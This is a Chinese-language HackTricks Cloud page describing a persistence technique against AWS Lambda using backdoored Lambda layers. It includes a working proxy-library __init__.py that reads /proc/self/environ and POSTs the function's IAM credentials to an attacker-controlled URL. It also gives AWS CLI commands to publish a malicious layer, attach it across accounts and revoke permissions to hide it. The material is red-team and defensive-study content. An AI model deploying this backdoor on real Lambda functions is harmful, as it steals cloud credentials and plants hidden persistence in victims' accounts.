AWS - Lambda Layers Persistence
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
Lambda Layers
Lambda 层是一个 .zip 文件归档,可以包含额外的代码或其他内容。一个层可以包含库、自定义运行时、数据或配置文件。
每个函数最多可以包含 五个层。当你在一个函数中包含一个层时,内容会被提取到执行环境中的 /opt 目录。
默认情况下,你创建的 层 对你的 AWS 账户是 私有 的。你可以选择 与其他账户共享 一个层或 将 该层 公开。如果你的函数使用了其他账户发布的层,你的函数可以 在该层被删除后,或在你被撤销访问该层的权限后继续使用该层版本。但是,你不能使用已删除的层版本创建新函数或更新函数。
作为容器镜像部署的函数不使用层。相反,当你构建镜像时,你将首选的运行时、库和其他依赖项打包到容器镜像中。
Python load path
Python 在 lambda 中使用的加载路径如下:
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
检查 第二 和第三 位置 被 lambda layers 解压其文件的目录占用情况: /opt/python/lib/python3.9/site-packages 和 /opt/python
Caution
如果攻击者设法 后门 一个被使用的 lambda layer 或 添加一个 在加载常见库时会 执行任意代码 的层,他将能够在每次 lambda 调用时执行恶意代码。
因此,要求是:
- 检查 受害者代码 加载的库
- 创建一个 带有 lambda layers 的代理库,该库将 执行自定义代码 并 加载原始 库。
预加载的库
Warning
在滥用此技术时,我发现了一个困难:一些库在你的代码执行时已经在 python 运行时中 加载。我原本期待找到像
os或sys这样的东西,但 甚至json库也已加载。
为了滥用这种持久性技术,代码需要 加载一个在代码执行时未加载的新库。
使用这样的 python 代码,可以获得 在 lambda 中预加载的库列表:
import sys
def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}
这是列表(检查像os或json这样的库是否已经存在)
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
这是lambda默认安装的库列表:https://gist.github.com/gene1wood/4a052f39490fae00e0c3
Lambda Layer 后门
在这个例子中,假设目标代码正在导入**csv。我们将对csv库的导入进行后门处理**。
为此,我们将创建目录csv,并在其中放置文件**__init__.py,路径为lambda加载的路径:/opt/python/lib/python3.9/site-packages
然后,当lambda被执行并尝试加载csv时,我们的__init__.py文件将被加载并执行**。
该文件必须:
- 执行我们的有效载荷
- 加载原始的csv库
我们可以通过以下方式实现这两者:
import sys
from urllib import request
with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)
# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)
# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]
# Load original library
import csv as _csv
sys.modules["csv"] = _csv
然后,创建一个包含此代码的 zip 文件,路径为 python/lib/python3.9/site-packages/__init__.py 并将其添加为 lambda 层。
您可以在 https://github.com/carlospolop/LambdaLayerBackdoor 找到此代码。
集成的有效载荷将在 首次调用或在 lambda 容器重置后(代码更改或冷 lambda)发送 IAM 凭证到服务器,但 其他技术(如以下内容)也可以集成:
外部层
请注意,可以使用 来自外部账户的 lambda 层。此外,即使没有权限,lambda 也可以使用来自外部账户的层。
还要注意,一个 lambda 最多可以有 5 个层。
因此,为了提高此技术的灵活性,攻击者可以:
- 在用户的现有层中植入后门(没有任何外部内容)
- 在 他的账户中创建一个层,给予受害者账户使用该层的访问权限,配置受害者的 Lambda 中的层并移除权限。
- Lambda 仍然能够使用该层,而受害者将没有任何简单的方法来下载层代码(除了在 lambda 内部获取反向 shell)
- 受害者不会看到使用
aws lambda list-layers的外部层
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
## Add layer to victims Lambda
# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

